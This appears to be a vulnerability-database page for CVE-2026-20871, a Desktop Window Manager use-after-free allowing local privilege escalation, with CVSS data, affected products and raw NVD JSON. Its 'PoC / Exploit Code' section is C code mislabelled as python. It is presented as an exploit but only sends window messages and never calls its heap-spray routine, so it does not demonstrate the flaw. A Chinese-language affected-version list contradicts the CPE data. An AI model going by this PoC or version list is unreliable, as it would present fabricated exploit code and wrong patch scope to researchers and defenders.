Security Vulnerability Report
中文
CVE-2026-20871 CVSS 7.8 HIGH

CVE-2026-20871

Published: 2026-01-13 18:16:17
Last Modified: 2026-01-15 15:48:22

Description

Use after free in Desktop Windows Manager allows an authorized attacker to elevate privileges locally.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:* - VULNERABLE
Windows 10 1809 及之前版本
Windows 10 1903 及之前版本
Windows 10 1909 及之前版本
Windows 10 2004 及之前版本
Windows 10 20H2 及之前版本
Windows 10 21H1 及之前版本
Windows 10 21H2 及之前版本
Windows 10 22H2 及之前版本
Windows 11 21H2 及之前版本
Windows 11 22H2 及之前版本
Windows Server 2019 及之前版本
Windows Server 2022 及之前版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2026-20871 PoC - Desktop Windows Manager Use-After-Free // This is a conceptual PoC for educational purposes only #include <windows.h> #include <winuser.h> #include <stdio.h> // Function to trigger Desktop Window Manager interaction void TriggerDWMInteraction() { // Enumerate windows to interact with DWM HWND hwnd = GetForegroundWindow(); if (hwnd) { // Send messages that interact with DWM PostMessage(hwnd, WM_PAINT, 0, 0); PostMessage(hwnd, WM_ERASEBKGND, 0, 0); // Trigger DWM composition DwmExtendFrameIntoClientArea(hwnd, NULL); DwmGetColorizationColor(NULL, NULL); } } // Heap spray technique to allocate controlled memory void HeapSpray(size_t targetSize, PVOID payload, size_t payloadSize) { PVOID* sprayBuffer = (PVOID*)VirtualAlloc(NULL, targetSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (sprayBuffer) { // Fill with controlled values to prepare memory layout for (size_t i = 0; i < targetSize / sizeof(PVOID); i++) { sprayBuffer[i] = payload; } // Trigger the use-after-free condition TriggerDWMInteraction(); VirtualFree(sprayBuffer, 0, MEM_RELEASE); } } int main() { printf("CVE-2026-20871 PoC - DWM Use-After-Free\n"); printf("Target: Windows Desktop Windows Manager\n"); // Create window to interact with DWM WNDCLASS wc = {0}; wc.lpfnWndProc = DefWindowProc; wc.hInstance = GetModuleHandle(NULL); wc.lpszClassName = "DWMUAFTest"; if (RegisterClass(&wc)) { HWND hwnd = CreateWindow(wc.lpszClassName, "Test", WS_OVERLAPPEDWINDOW, 0, 0, 800, 600, NULL, NULL, wc.hInstance, NULL); if (hwnd) { ShowWindow(hwnd, SW_SHOW); UpdateWindow(hwnd); // Trigger the vulnerability TriggerDWMInteraction(); // Wait for processing Sleep(1000); DestroyWindow(hwnd); } } printf("PoC execution completed\n"); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-20871", "sourceIdentifier": "[email protected]", "published": "2026-01-13T18:16:16.810", "lastModified": "2026-01-15T15:48:21.813", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Desktop Windows Manager allows an authorized attacker to elevate privileges locally."}, {"lang": "es", "value": "Uso después de liberar en el Administrador de ventanas de escritorio permite a un atacante autorizado elevar privilegios localmente."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19044.6809", "matchCriteriaId": "1895E186-5B2E-43CC-AF1F-B5C95419D8C5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19045.6809", "matchCriteriaId": "B7CB5184-1BA1-4D71-8AE3-CF4C6B63A469"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22631.6491", "matchCriteriaId": "8D675DAA-4DCE-4727-BE5F-C954BBD252C4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.7623", "matchCriteriaId": "D249551B-1433-4E5E-A587-40F782E91E09"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.7623", "matchCriteriaId": "22082D4E-E68F-4E48-98FB-42DFDEE2E2A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4648", "matchCriteriaId": "C4AA6991-DE34-48F6-AFD3-77CEE7FBB692"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.2092", "matchCriteriaId": "BA5947E0-C44C-4517-A307-DA79752F30A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.32230", "matchCriteriaId": "D44880ED-E8E9-49A8-BD56-503C63D40000"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20871", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}